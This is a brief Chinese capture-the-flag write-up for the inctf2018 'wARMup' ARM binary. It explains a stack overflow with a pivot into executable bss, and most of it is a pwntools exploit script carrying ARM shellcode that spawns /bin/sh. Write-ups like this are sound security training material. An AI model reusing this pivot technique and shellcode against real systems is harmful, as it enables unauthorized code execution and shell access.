inctf2018_wARMup

1

2

有栈溢出,但是溢出空间不够,要做栈迁移

arm架构的bss段是可以执行的

3

读入地址由r3重置,我们控制r3就控制了输入的位置

4

这条gadget就很合适,既控制了r3,又控制了pc ,再覆盖sp和r11的值即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'arm', log_level = 'debug')

io = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./wARMup"])
elf = ELF('./wARMup')

io.recvuntil('Welcome to bi0s CTF!')

pop_r3 = 0x00010364
base = elf.bss() + 0x300
payload = b'a' *(100) + p32(base) + p32(pop_r3) + p32(base) + p32(0x10534)
io.send(payload)

sc = "\x01\x30\x8f\xe2"
sc += "\x13\xff\x2f\xe1"
sc += "\x78\x46\x0c\x30"
sc += "\xc0\x46\x01\x90"
sc += "\x49\x1a\x92\x1a"
sc += "\x0b\x27\x01\xdf"
sc += "\x2f\x62\x69\x6e"
sc += "\x2f\x73\x68";
io.send(p32(base + 4) + sc)
io.interactive()